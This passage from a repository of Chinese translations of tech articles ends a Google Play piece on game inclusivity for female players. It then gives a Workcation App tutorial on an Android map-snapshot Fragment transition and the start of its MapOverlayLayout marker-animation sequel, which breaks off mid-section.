的男性认为在游戏行业中人人享有平等的待遇和机会。\n\n来自团队成员多样化的观点将帮助您开发真正创新且有意思的游戏，并且吸引更多的潜在玩家。现在就看下自己的团队和游戏的用户构成的差别。你的团队成员能代表你的受众吗？您的团队是否已经整装待发，来帮助您最大化的捕获潜在受众，并且让您的游戏吸引所有人？\n\n![](https://cdn-images-1.medium.com/max/800/0*yzQKH9Q6AmI0Ex-x.)\n\n### **把握这个机遇**\n\n尽管未来女性玩家数量巨大，但研究结果却让人惊讶，他们比男性更难以真正接受自己的游戏爱好。大部分女性玩家不属于游戏世界。一般女性玩家不太喜欢和朋友交谈游戏内容，为游戏付费，以及享受付费所带来的快乐。\n\n我们相信，这是一个游戏产业真正与女性玩家互动的绝佳机会。随着用户获取成本的上升，需要想想如何能开发出与所有玩家产生共鸣并且能病毒式传播的游戏。只有让女性玩家参与到游戏中，你才能解决这个问题。\n\n### **着眼未来**\n\n我们相信，游戏市场还有很大的空间，能让我们使手机游戏更加多元化，更具包容性，更吸引所有玩家。为了把握这个机会，您的第一步是：\n\n* 了解你的用户：当前用户和潜在用户\n* 研究你的游戏是怎样把一些潜在用户排除在外的\n* 评估你团队观点的多样性，这将如何影响你开发的游戏\n* 头脑风暴，你可能会想出一款所有人都喜欢的游戏\n\n手机游戏生为大众。为了褒奖和激励女性玩家和女性开发者，我们启动了 [改变游戏](http://g.co/changethegame) 的计划。这是 Google 应用商店的一项旨在促进游戏多样性的计划，同时这项计划也褒奖所有女性玩家，并通过正在进行的研究和合作为下一代游戏开发者提供支持。\n\n作为一个应用开发者，你能影响未来游戏的走向。我希望你能参与到我们活动中，和我们一起让游戏世界变得更加包容性。如果我们一起努力，手机游戏的世界会变得更加有趣。\n\n* * *\n\n### 你是怎么想的呢？\n\n你有没有想过开发人员怎样去设计更有包容性的游戏呢？在文章下面留言或者 twitter 中添加**#AskPlayDev**标签后发言，我们会通过 [@GooglePlayDev](http://twitter.com/googleplaydev) （那里我们会展示在 Google 应用商店获得成功的窍门）回复。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/workcation-app-part-1-fragments-custom-transition.md",
    "content": "> * 原文地址：[Workcation App – Part 1. Fragment custom transition](https://www.thedroidsonroids.com/blog/android/workcation-app-part-1-fragments-custom-transition/)\n> * 原文作者：[Mariusz Brona](https://www.thedroidsonroids.com/blog/android/workcation-app-part-1-fragments-custom-transition/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[龙骑将杨影枫](https://github.com/stormrabbit)\n> * 校对者：[Vivienmm](https://github.com/Vivienmm)、[张拭心](https://github.com/shixinzhang)\n\n#  Workcation App – 第一部分 . 自定义 Fragment 转场动画\n\n欢迎阅读本系列文章的第一篇，此系列文章和我前一段时间完成的“研发”项目有关。在文章里，我会针对开发中遇到的动画问题分享一些解决办法。\n\nPart 1: [自定义 Fragment  转场](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-1-fragments-custom-transition.md)\n\nPart 2: [Animating Markers 与 MapOverlayLayout ](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md)\n\nPart 3: [RecyclerView 互动 与 Animated Markers](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md)\n\nPart 4: [场景（Scenes）和 RecyclerView 的共享元素转场动画（Shared Element Transition）](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md)\n\n\n\n项目的 Git 地址:  [Workcation App](https://github.com/panwrona/Workcation)\n\n动画的 Dribbble 地址: [https://dribbble.com/shots/2881299-Workcation-App-Map-Animation](https://dribbble.com/shots/2881299-Workcation-App-Map-Animation)\n\n# 序言\n\n几个月前我们开了一个部门会议，在会议上我的朋友 Paweł Szymankiewicz 给我演示了他在自己的“研发”项目上制作的动画。我非常喜欢这个动画，会后决定用代码实现它。我可没想到到我会摊上啥...\n\n![](https://www.thedroidsonroids.com/wp-content/uploads/2017/02/Bali-App-Animation-3-color-2.gif?x77083)\n\nGIF 1 **“动画效果”**\n\n# 开始吧！\n\n就像上面 GIF 动画展示的，需要做的事情有很多。\n\n1. 在点击底部菜单栏最右方的菜单后，我们会跳转到一个新界面。在此界面中，地图通过缩放和渐显的转场动画在屏幕上方加载，Recycleview 的 item 随着转场动画从底部加载，地图上的标记点在转场动画执行的同时被添加到地图上.\n\n2. 当滑动底部的 RecycleView item 的时候，地图上的标记会通过闪烁来显示它们的位置(译者注：原文是show their **position** on the map，个人认为 position 有两层含义：一代表标记在地图上的位置，二代表标记所对应的 item 在 RecycleView 里的位置。)\n\n3. 在点击一个 item 以后，我们会进入到新界面。在此界面中，地图通过动画方式来显示出路径以及起始/结束标记。同时此 RecyclerView 的item 会通过转场动画展示一些关于此地点的描述，背景图片也会放大，还附有更详细的信息和一个按钮。\n\n4. 当后退时，详情页通过转场变成普通的 RecycleView Item，所有的地图标记再次显示，同时路径一起消失。\n\n就这么多啦，这就是我准备在这一系列文章中向你展示的东西。在本文中我会编写进入地图 fragment 的转场动画。\n\n# 难点\n\n就像我们在 GIF 1 里看到的那样，看起来好像地图在移动到正确地点之前已经加载完毕了。这在真实世界里是不可能的，它实际上是这个样子的：\n\n![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/map_loading-1.gif?x77083)\n\n# 需求\n\n1. 预加载地图\n\n2. 加载完毕后，使用 Google Map API 获得地图的快照图片（bitmap）并保存在缓存中。\n\n3. 为地图编写一个包含缩放与渐显的自定义转场动画（transition），进入 **DetailsFragment** 的时候就激活。\n\n# 动手吧!\n\n## 预加载地图\n\n为了实现上述目标，我们首先从已加载的地图上拿到一份快照（snapshot）。当然我们如果想把转场动画做的更平滑一点，肯定不能等进入 **DetailsFragment** 后才获取。所以要怎么做呢？当然是悄悄的在 **HomeFragment** 里拿到这个图片（bitmap） 并且保存在缓存里啦。地图距离底部还有一点距离（margin），所以我们拿到的图片必须满足\"将来的\"地图尺寸。\n\n```\nXHTML\n\n<?xml version=\"1.0\"encoding=\"utf-8\"?>\n\n<android.support.design.widget.CoordinatorLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n\n    xmlns:tools=\"http://schemas.android.com/tools\"\n\n    android:layout_width=\"match_parent\"\n\n    android:layout_height=\"match_parent\"\n\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n\n    tools:MContext=\".screens.main.MainActivity\">\n\n\n\n    <fragment\n\n        android:id=\"@+id/mapFragment\"\n\n        class=\"com.google.android.gms.maps.SupportMapFragment\"\n\n        android:layout_width=\"match_parent\"\n\n        android:layout_height=\"match_parent\"\n\n        android:layout_marginBottom=\"@dimen/map_margin_bottom\"/>\n\n\n\n    <LinearLayout\n\n        android:layout_width=\"match_parent\"\n\n        android:layout_height=\"match_parent\"\n\n        android:orientation=\"vertical\"\n\n        android:background=\"@color/white\">\n\n        ...\n\n        ...\n\n        </LinearLayout>\n\n    </android.support.design.widget.CoordinatorLayout>\n```\n\n就像上面代码展示的那样，**MapFragment** 被放在布局的最下方，这样我们就可以在用户看不到地方加载地图。\n\n```\npublic class MainActivity extends MvpActivity<MainView,MainPresenter> implements MainView,OnMapReadyCallback{\n\n    SupportMapFragment mapFragment;\n\n    privateLatLngBounds mapLatLngBounds;\n\n    @Override\n\n    protected void onCreate(Bundle savedInstanceState){\n\n        super.onCreate(savedInstanceState);\n\n        presenter.provideMapLatLngBounds();\n\n        getSupportFragmentManager()\n\n                .beginTransaction()\n\n                .replace(R.id.container,HomeFragment.newInstance(),HomeFragment.TAG)\n\n                .addToBackStack(HomeFragment.TAG)\n\n                .commit();\n\n        mapFragment=(SupportMapFragment)getSupportFragmentManager().findFragmentById(R.id.mapFragment);\n\n        mapFragment.getMapAsync(this);\n\n    }\n\n\n\n    @Override\n\n    public void setMapLatLngBounds(final LatLngBounds latLngBounds){\n\n        mapLatLngBounds=latLngBounds;\n\n    }\n\n\n\n    @Override\n\n    public void onMapReady(final GoogleMap googleMap){\n\n        googleMap.moveCamera(CameraUpdateFactory.newLatLngBounds(\n\n                mapLatLngBounds,\n\n                MapsUtil.calculateWidth(getWindowManager()),\n\n                MapsUtil.calculateHeight(getWindowManager(),getResources().getDimensionPixelSize(R.dimen.map_margin_bottom)),\n\n                MapsUtil.DEFAULT_ZOOM));\n\n        googleMap.setOnMapLoadedCallback(()->googleMap.snapshot(presenter::saveBitmap));\n\n    }\n\n}\n```\n\n\nMainActivity 继承自 MvpActivity，而 MvpActivity 是来自  Hannes Dorfmann 写的 [Mosby Framework](https://github.com/sockeqwe/mosby)。我的项目都遵从 MVP 模式，而这个框架是一个 MVP 模式的非常好的实现。\n\n在 onCreate 方法里我们做了三件事：\n\n1. 为地图提供了 **LatLngBounds**，他们会被用来设置地图的边界。\n\n2. 在 activity 的布局里加载了 **HomeFragment**\n\n3. 为 **Mapfragment** 设置了 **OnMapReadyCallback** 的回调。\n\n当地图加载完毕时，就会调用 **onMapReady()** 方法，我们就可以通过一些操作把当前加载的地图转换成 bitmap 图片。通过 **CameraUpdateFactory.newLatLngBounds()** 方法，我们可以把镜头转到之前提供的 **LatLngBounds**  上。这样的话我们就精确的知道下个页面的地图区域，再把屏幕宽度和高度当作参数传入 **onMapReady()** 方法，像这样操作:\n\n\n```\npublic static int calculateWidth(final WindowManager windowManager){\n\n    DisplayMetrics metrics=newDisplayMetrics();\n\n    windowManager.getDefaultDisplay().getMetrics(metrics);\n\n    returnmetrics.widthPixels;\n\n}\n\n\npublic static intcalculateHeight(final WindowManager windowManager,finalintpaddingBottom){\n\n    DisplayMetrics metrics=newDisplayMetrics();\n\n    windowManager.getDefaultDisplay().getMetrics(metrics);\n\n    returnmetrics.heightPixels-paddingBottom;\n```\n\n很简单吧？在调用 **googleMap.moveCamera()** 方法以后，我们设置 **OnMapLoadedCallback**  的回调。当镜头移动到正确的位置的时候，**onMapLoaded()** 会被调用，我们准备好从在此处截图了。\n\n## 获得图片并保存在缓存中\n\n**onMapLoaded()** 方法只做一件事 —— 在从地图上获得快照后调用  **presenter.saveBitmap()** 方法。多亏 lambda 表达式，我们可以缩短代码到一行。(译者注：有关 lamb 表达式，推荐搭配[此文章](https://github.com/xitu/gold-miner/pull/1578/files)一起食用。)\n\n```\ngoogleMap.setOnMapLoadedCallback(()->googleMap.snapshot(presenter::saveBitmap));\n```\n\n此 presenter （译者注：MVP 里的 P） 的代码非常简单，它只是把图片保存在缓存里。\n\n```\n@Override\n\npublic void saveBitmap(final Bitmap bitmap){\n\n    MapBitmapCache.instance().putBitmap(bitmap);\n\n}\n\n\npublic class MapBitmapCache extends LruCache<String,Bitmap>{\n\n    private static final int DEFAULT_CACHE_SIZE=(int)(Runtime.getRuntime().maxMemory()/1024)/8;\n\n    public static final String KEY=\"MAP_BITMAP_KEY\";\n\n\n\n    private static MapBitmapCache sInstance;\n\n    /**\n\n     * @param maxSize for caches that do not override {@link #sizeOf}, this is\n\n     * the maximum number of entries in the cache. For all other caches,\n\n     * this is the maximum sum of the sizes of the entries in this cache.\n\n     */\n\n    private MapBitmapCache(final int maxSize){\n\n        super(maxSize);\n\n    }\n\n\n\n    public staticMapBitmapCache instance(){\n\n        if(sInstance==null){\n\n            sInstance=newMapBitmapCache(DEFAULT_CACHE_SIZE);\n\n            returnsInstance;\n\n        }\n\n        returnsInstance;\n\n    }\n\n\n\n    public Bitmap getBitmap(){\n\n        return get(KEY);\n\n    }\n\n\n\n    public void putBitmap(Bitmap bitmap){\n\n        put(KEY,bitmap);\n\n    }\n\n\n\n    @Override\n\n    protected intsizeOf(String key,Bitmap value){\n\n        return value==null ? 0 : value.getRowBytes()*value.getHeight()/1024;\n\n    }\n\n}\n```\n\n此处我使用了 **LruCache** ，因为这是比较推荐的做法，[此处](https://developer.android.com/topic/performance/graphics/cache-bitmap.html)有详细解释。\n\n现在我们把bitmap 存到了缓存里，剩下唯一要做的事情就是自定义一个缩放和渐进效果的转场动画。\n毛毛雨洒洒水啦~(译者注: 原文为 Easy peasy lemon squeezy。是一个比较有意思的、以俏皮的语气表达“轻而易举”或者“手到擒来”概念的短语。)\n\n## 自定义一个包含缩放和渐显效果的转场\n\n下面是最有意思的部分，代码也炒鸡简单！但就是这部分完成了比较炫酷的事情。\n\n```\npublic class ScaleDownImageTransition extends Transition{\n\n    private static final int DEFAULT_SCALE_DOWN_FACTOR = 8;\n\n    private static final String PROPNAME_SCALE_X=\"transitions:scale_down:scale_x\";\n\n    private static final String PROPNAME_SCALE_Y=\"transitions:scale_down:scale_y\";\n\n    private Bitmap bitmap;\n\n    private Context context;\n\n\n\n    private int targetScaleFactor = DEFAULT_SCALE_DOWN_FACTOR;\n\n\n\n    public ScaleDownImageTransition(final Context context){\n\n        this.context=context;\n\n        setInterpolator(newDecelerateInterpolator());\n\n    }\n\n\n\n    public ScaleDownImageTransition(final Context context,final Bitmap bitmap){\n\n        this(context);\n\n        this.bitmap=bitmap;\n\n    }\n\n\n\n    public ScaleDownImageTransition(final Context context,final AttributeSet attrs){\n\n        super(context,attrs);\n\n        this.context=context;\n\n        TypedArray array=context.obtainStyledAttributes(attrs,R.styleable.ScaleDownImageTransition);\n\n        try{\n\n            targetScaleFactor=array.getInteger(R.styleable.ScaleDownImageTransition_factor,DEFAULT_SCALE_DOWN_FACTOR);\n\n        }finally{\n\n            array.recycle();\n\n        }\n\n    }\n\n\n\n    public void setBitmap(final Bitmap bitmap){\n\n        this.bitmap=bitmap;\n\n    }\n\n\n\n    public void setScaleFactor(final intfactor){\n\n        targetScaleFactor=factor;\n\n    }\n\n\n\n    @Override\n\n    public Animator createAnimator(final ViewGroup sceneRoot,final TransitionValues startValues,final TransitionValues endValues){\n\n        if(null == endValues){\n\n            return null;\n\n        }\n\n        final View view=endValues.view;\n\n        if (view instanceof ImageView){\n\n            if (bitmap!=null)\n                view.setBackground(new BitmapDrawable(context.getResources(),bitmap));\n\n            float scaleX=(float)startValues.values.get(PROPNAME_SCALE_X);\n\n            float scaleY=(float)startValues.values.get(PROPNAME_SCALE_Y);\n\n\n\n            float targetScaleX=(float)endValues.values.get(PROPNAME_SCALE_X);\n\n            float targetScaleY=(float)endValues.values.get(PROPNAME_SCALE_Y);\n\n\n\n            ObjectAnimator scaleXAnimator = ObjectAnimator.ofFloat(view,View.SCALE_X,targetScaleX,scaleX);\n\n            ObjectAnimator scaleYAnimator = ObjectAnimator.ofFloat(view,View.SCALE_Y,targetScaleY,scaleY);\n\n            AnimatorSet set=new AnimatorSet();\n\n            set.playTogether(scaleXAnimator,scaleYAnimator,ObjectAnimator.ofFloat(view,View.ALPHA,0.f,1.f));\n\n            return set;\n\n        }\n\n        return null;\n\n    }\n\n\n\n    @Override\n\n    public void captureStartValues(TransitionValues transitionValues){\n\n        captureValues(transitionValues,transitionValues.view.getScaleX(),transitionValues.view.getScaleY());\n\n    }\n\n\n\n    @Override\n\n    public void captureEndValues(TransitionValues transitionValues){\n\n        captureValues(transitionValues,targetScaleFactor,targetScaleFactor);\n\n    }\n\n\n\n    private void captureValues(final TransitionValues values,final float scaleX,final float scaleY){\n\n        values.values.put(PROPNAME_SCALE_X,scaleX);\n\n        values.values.put(PROPNAME_SCALE_Y,scaleY);\n\n    }\n\n}\n```\n\n我们在转场动画中做了什么事情呢？我们用 **scaleFactor** 对传入的 imageView 进行了 scaleX 和 scaleY 属性的缩放（默认是8）。换句话说我们通过 **scaleFactor** 先把图片拉伸，然后再把图片压缩回需要的大小。\n\n### 创建自定义转场动画\n\n为了编写转场动画，我们必须继承一个 Transition 类。然后重写 **captureStartValues** 和 **captureEndValues** 方法。猜猜发生了啥？\n\nTransition 框架使用了属性动画的 API ，通过改变 view 开始和结束时的属性值来产生动画。如果你不熟悉属性动画，强烈推荐阅读[这篇文章](https://developer.android.com/guide/topics/graphics/prop-animation.html)。就像刚才解释的那样，我们要缩放图片。开始值是 scaleFactor ,结束值是期望 scaleX 和 scaleY的值，通常情况下是1。\n\n怎么传递这些值呢？如前所述，很简单。我们把 TransitionValues 对象当作参数传进 **captureStart** 和 **captureEnd** 方法里。它包括一个 view 的引用和一个可以保存值的 Map 对象，在我们的项目中需要保存的值就是 scaleX 和 scaleY。\n\n获得这些值以后，我们需要重写 **createAnimator()** 方法。在这个方法中需要返回一个动态改变 view 属性的 **Animator** （或者  **AnimatorSet** ）。本项目中返回的是 **AnimatorSet** 对象，此对象同时改变一个 view 的尺寸和亮度。同时，因为我们只希望转场动画作用在 ImageView 上，所以通过 instanceof 进行了对象类型校验，以保证传入的 view 是一个 ImageView。\n\n### 部署自定义转场动画\n\n我们已经在缓存中保存了 bitmap 图片，也已经创建了转场动画，所以只剩最后一步 —— 就是为 fragment 添加转场动画。我喜欢写一个静态工厂方法来创建 fragments 和 activities 。这么做可以让我们保持代码逻辑清晰，所以也应该用这样的设计模式来编写转场动画的代码。\n\n```\npublic static Fragment newInstance(final Context ctx){\n\n    DetailsFragment fragment = new DetailsFragment();\n\n    ScaleDownImageTransition transition=new ScaleDownImageTransition(ctx,MapBitmapCache.instance().getBitmap());\n\n    transition.addTarget(ctx.getString(R.string.mapPlaceholderTransition));\n\n    transition.setDuration(800);\n\n    fragment.setEnterTransition(transition);\n\n    return fragment;\n\n}\n```\n\n瞧，做起来多简单。我们为转场动画实例化了一个新的实例，又通过 xml 为它添加了 **transitionName** 的属性。\n\n```\n<ImageView\n\n    android:id=\"@+id/mapPlaceholder\"\n\n    android:layout_width=\"match_parent\"\n\n    android:layout_height=\"match_parent\"\n\n    android:layout_marginBottom=\"@dimen/map_margin_bottom\"\n\n    android:transitionName=\"@string/mapPlaceholderTransition\"/>\n```\n\n然后我们通过 **setEnterTransition()** 把fragment 传递进去, 看吧!效果出现啦:\n\n![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/map_transiton.gif?x77083)\n\n#  总结\n\n你看，最终效果已经很接近像 GIF 那样从本地加载地图的效果了。但是最后一帧动画仍然会有那么一点闪烁，因为地图的快照还是与实际的地图有点差别。\n\n多谢阅读，下一部分会在 7.03 星期二更新。如果有疑问的话，欢迎评论。当然如果发现这些博文很有趣，不要忘记分享噢。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md",
    "content": "> * 原文地址：[Workcation App – Part 2. Animating Markers with MapOverlayLayout](https://www.thedroidsonroids.com/blog/workcation-app-part-2-animating-markers-with-mapoverlaylayout/)\n> * 原文作者：[Mariusz Brona](https://www.thedroidsonroids.com/blog/workcation-app-part-2-animating-markers-with-mapoverlaylayout/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[龙骑将杨影枫](https://github.com/stormrabbit)\n> * 校对者：[Vivienmm](https://github.com/Vivienmm)、[张拭心](https://github.com/shixinzhang)\n\n#  Workcation App – 第二部分 . Animating Markers 和 MapOverlayLayout #\n\n欢迎阅读本系列文章的第二篇，此系列文章和我前一段时间完成的“研究发”项目有关。在文章里，我会针对开发中遇到的动画问题分享一些解决办法。\n\nPart 1: [自定义 Fragment  转场](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-1-fragments-custom-transition.md)\n\nPart 2: [带有动画的标记（Animating Markers） 与 MapOverlayLayout ](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md)\n\nPart 3: [带有动画的标记（Animated Markers） 与 RecyclerView 的互动](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md)\n\nPart 4: [场景（Scenes）和 RecyclerView 的共享元素转场动画（Shared Element Transition）](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md)\n\n项目的 Git 地址:  [Workcation App](https://github.com/panwrona/Workcation)\n\n动画的 Dribbble 地址: [https://dribbble.com/shots/2881299-Workcation-App-Map-Animation](https://dribbble.com/shots/2881299-Workcation-App-Map-Animation)\n\n# 序言\n\n几个月前我们开了一个部门会议，在会议上我的朋友 Paweł Szymankiewicz 给我演示了他在自己的“研发”项目上制作的动画。我非常喜欢这个动画，会后决定用代码实现它。我可没想到到我会摊上啥...\n\n![](https://www.thedroidsonroids.com/wp-content/uploads/2017/02/Bali-App-Animation-3-color-2.gif?x77083)\n\nGIF 1 **“动画效果”**\n\n# 开始吧！\n\n就像上面 GIF 动画展示的，需要做的事情有很多。\n\n1. 在点击底部菜单栏最右方的菜单后，我们会跳转到一个新界面。在此界面中，地图通过缩放和渐显的转场动画在屏幕上方加载，Recycleview 的 item 随着转场动画从底部加载，地图上的标记点在转场动画执行的同时被添加到地图上.\n\n2. 当滑动底部的 RecycleView item 的时候，地图上的标记会通过闪烁来显示它们的位置(译者注：原文是show their **position** on the map，个人认为 position 有两层含义：一代表标记在地图上的位置，二代表标记所对应的 item 在 RecycleView 里序列的位置。)\n\n3. 在点击一个 item 以后，我们会进入到新界面。在此界面中，地图通过动画方式来显示出路径以及起始/结束标记。同时此 RecyclerView 的item 会通过转场动画展示一些关于此地点的描述，背景图片也会放大，还附有更详细的信息和一个按钮。\n\n4. 当后退时，详情页通过转场变成普通的 RecycleView Item，所有的地图标记再次显示，同时路径一起消失。\n\n就这么多啦，这就是我准备在这一系列文章中向你展示的东西。在本文中我会编写地图加载以及神秘的 MapWrapperLayout。敬请期待！\n\n\n# 需求\n\n所以下一步的需求是：加载地图时展示所有由 API (一个解析 assets 文件夹中 JSON 文件的简单单例)提供的标记。幸运的是，[前一章节](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-1-fragments-custom-transition.md)里我们已经描述过这些标记了。再下一步的需求是：使用渐显和缩放动画来加载这些标记。听起来很简单，但理想和现实总是有差距的。\n\n不幸的是，谷歌地图 API 只允许我们传递 BitmapDescriptor 类型的标记图标做参数，就像下面那样：\n\n```\nJava\n\nGoogleMap map=...// 获得地图\n\n   // 通过蓝色的标记标注旧金山的位置\n\n   Marker marker=map.add(new MarkerOptions()\n\n       .position(new LatLng(37.7750,122.4183))\n\n       .title(\"San Francisco\")\n\n       .snippet(\"Population: 776733\"))\n\n       .icon(BitmapDescriptorFactory.defaultMarker(BitmapDescriptorFactory.HUE_AZURE));\n```\n\n\n如[效果](https://www.thedroidsonroids.com/blog/workcation-app-part-2-animating-markers-with-mapoverlaylayout/#animation)所示，我们需要在加载时实现标记渐显和缩放动画，滑动 RecycleView 的时候实现标记闪烁动画，进入详情页面的时候让标记在渐隐动画中隐藏。使用帧动画或者属性动画（Animation/ViewPropertyAnimator API）会更合理一些.我们有解决这个问题的方法吗？当然，我们有！\n\n\n## MapOverlayLayout\n\n该怎么办呢？其实很简单，但我还是花了点时间才弄明白。我们需要在 SupportMapFragment 上（注：也就是上一篇提到的 MapFragment）添加一层使用谷歌地图 API 所获得的 MapOverlayLayout，在该层上添加地图的映射（映射是用来转换屏幕上的坐标和地理位置的实际坐标，参见[此文档](https://developers.google.com/android/reference/com/google/android/gms/maps/Projection)）。\n\n**注：此处作者 via以后就没东西了，我估计是手滑写错了。下面有个一模一样的句子，但是多了一个说明，故此处按照下文翻译。**\n\n类 MapOverlayLayout 是一个自定义的 帧布局（FrameLayout），该布局和 MapFragment 大小位置完全相同。当地图加载完毕的时候，我们可以将 MapOverlayLayout 作为参数传递给 MapFragment，通过它用动画加载自定义的 View 、根据手势移动地图镜头之类的事情。当然了，我们可以做现在需要的事情 —— 通过缩放和渐显动画添加标记 （也就是现在的自定义 View)、隐藏标记、当滑动 RecycleView 让标记开始闪烁。\n\n## MapOverlayLayout – 添加\n\n怎么样用 SupportMapFragment 和 谷歌地图添加一个 MapOverlayLayout 呢？\n\n第一步,让我们先看看 DetailsFragment 的 XML 文件:\n\n```\n\n<android.support.design.widget.CoordinatorLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n\n    android:layout_width=\"match_parent\"\n\n    android:layout_height=\"match_parent\"\n\n    android:orientation=\"vertical\">\n\n\n\n    <fragment\n\n        android:id=\"@+id/mapFragment\"\n\n        class=\"com.google.android.gms.maps.SupportMapFragment\"\n\n        android:layout_width=\"match_parent\"\n\n        android:layout_height=\"match_parent\"\n\n        android:layout_marginBottom=\"@dimen/map_margin_bottom\"/>\n\n\n\n    <com.droidsonroids.workcation.common.maps.PulseOverlayLayout\n\n        android:id=\"@+id/mapOverlayLayout\"\n\n        android:layout_width=\"match_parent\"\n\n        android:layout_height=\"match_parent\"\n\n        android:layout_marginBottom=\"@dimen/map_margin_bottom\">\n\n\n\n        <ImageView\n\n            android:id=\"@+id/mapPlaceholder\"\n\n            android:layout_width=\"match_parent\"\n\n            android:layout_height=\"match_parent\"\n\n            android:transitionName=\"@string/mapPlaceholderTransition\"/>\n\n\n\n        </com.droidsonroids.workcation.common.maps.PulseOverlayLayout>\n\n    ...\n\n</android.support.design.widget.CoordinatorLayout>\n```\n\n如我们所见，有一个和 SupportMapFragment 尺寸相同、位置（marginBottom）也一样的 PulseOverlayLayout 盖在（SupportMapFragment ）上面。PulseOverlayLayout 继承自 MapOverlayLayout，根据 app 需要添加了自己独有的逻辑（比如说 点击 RecycleView 时在界面上添加开始标记与结束标记，创建 PulseMarkerView _ 一个在之后会解释的自定义 View）。在布局中还包含一个 ImageView，这是我[之前](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-1-fragments-custom-transition.md)准备创建的转场动画的占位符。 xml  的工作就完成了，现在就开始专注于代码实现 —— DetailsFragment。\n\n现在就开始专注于代码实现 DetailsFragment。\n\n```\npublic class DetailsFragment extends MvpFragment<DetailsFragmentView,DetailsFragmentPresenter>\n\n        implements DetailsFragmentView, OnMapReadyCallback{\n\n    public static final String TAG = DetailsFragment.class.getSimpleName();\n\n\n\n    @BindView(R.id.recyclerview)\n    RecyclerView recyclerView;\n\n    @BindView(R.id.container)\n    FrameLayout containerLayout;\n\n    @BindView(R.id.mapPlaceholder)\n    ImageView mapPlaceholder;\n\n    @BindView(R.id.mapOverlayLayout)\n    PulseOverlayLayout mapOverlayLayout;\n\n\n\n    @Override\n\n    public void onViewCreated(final View view,@Nullable final Bundle savedInstanceState){\n\n        super.onViewCreated(view,savedInstanceState);\n\n        setupBaliData();\n\n        setupMapFragment();\n\n    }\n\n\n\n    private void setupBaliData(){\n\n        presenter.provideBaliData();\n\n    }\n\n\n\n    private void setupMapFragment(){\n\n        ((SupportMapFragment)getChildFragmentManager().findFragmentById(R.id.mapFragment)).getMapAsync(this);\n\n    }\n\n\n\n    @Override\n\n    public void onMapReady(final GoogleMap googleMap){\n\n        mapOverlayLayout.setupMap(googleMap);\n\n        setupGoogleMap();\n\n    }\n\n\n\n    private void setupGoogleMap(){\n\n        presenter.moveMapAndAddMarker();\n\n    }\n\n\n\n    @Override\n\n    public void provideBaliData(final List<Place>places){\n\n        baliPlaces=places;\n\n    }\n\n\n\n    @Override\n\n    public void moveMapAndAddMaker(final LatLngBounds latLngBounds){\n\n        mapOverlayLayout.moveCamera(latLngBounds);\n\n        mapOverlayLayout.setOnCameraIdleListener(()->{\n\n            for(int i=0;i<baliPlaces.size();i++){\n\n                mapOverlayLayout.createAndShowMarker(i,baliPlaces.get(i).getLatLng());\n\n            }\n\n            mapOverlayLayout.setOnCameraIdleListener(null);\n\n        });\n\n        mapOverlayLayout.setOnCameraMoveListener(mapOverlayLayout::refresh);\n\n    }\n\n}\n```\n\n如上所示，地图通过 **onMapReady** 和上一篇一样进行加载。在接收回调后。我们就可以更新地图的边界，在 MapOverlayLayout 添加标记，设置监听。\n\n在下面的代码中，我们会把地图镜头移动到可以展示我们所有标记的地方。然后当镜头移动完毕时，在地图上创造并展示标记。在这之后，我们设置 OnCameraIdleListener  空（null）。因为我们希望再次移动镜头时不要添加标记。在最后一行代码中，我们为 OnCameraMoveListener 设置了刷新所有标记位置的动作。\n\n```\n@Override\n\n    public void moveMapAndAddMaker(final LatLngBounds latLngBounds){\n\n        mapOverlayLayout.moveCamera(latLngBounds);\n\n        mapOverlayLayout.setOnCameraIdleListener(()->{\n\n            for(int i=0;i<baliPlaces.size();i++){\n\n                mapOverlayLayout.createAndShowMarker(i,baliPlaces.get(i).getLatLng());\n\n            }\n\n            mapOverlayLayout.setOnCameraIdleListener(null);\n\n        });\n\n        mapOverlayLayout.setOnCameraMoveListener(mapOverlayLayout::refresh);\n\n    }\n```\n\n## MapOverlayLayout 